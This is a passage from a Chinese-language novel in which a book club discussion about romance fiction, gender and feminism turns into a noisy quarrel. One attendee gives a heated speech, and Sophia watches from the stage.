又有人開口：“看到沒有？獵物不乖造成了什麼？抹黑整個言情小說三觀不正，男人都得來踩女人一腳，言情小說題材那麼多，可是女作者之間都在對立，不能容忍多元化題材，遇到討厭的書恨不得要搞死對方。現在女頻的創作環境相當的惡劣，動輒就被審判，相比之下男頻的創作環境好太多。男權之所以掌握這麼多年，是因為男人對男人包容，女人對男人也包容，這個世界上對女人最狠的，還得是女人。前麵那些嚷嚷著自己是女權的這些人，字裡行間都是對另一波女人的侮辱和瞧不起，她們也都是精神男人。”
這場所有的書友會，進行了還不到一個小時，就開始鬨起來了，整個會場變得烏煙瘴氣，他們互相之間吵來吵去，互相指責，索菲婭似乎並不著急坐在台上看。
李求真和慕雲霓也撕累了，什麼也不說了。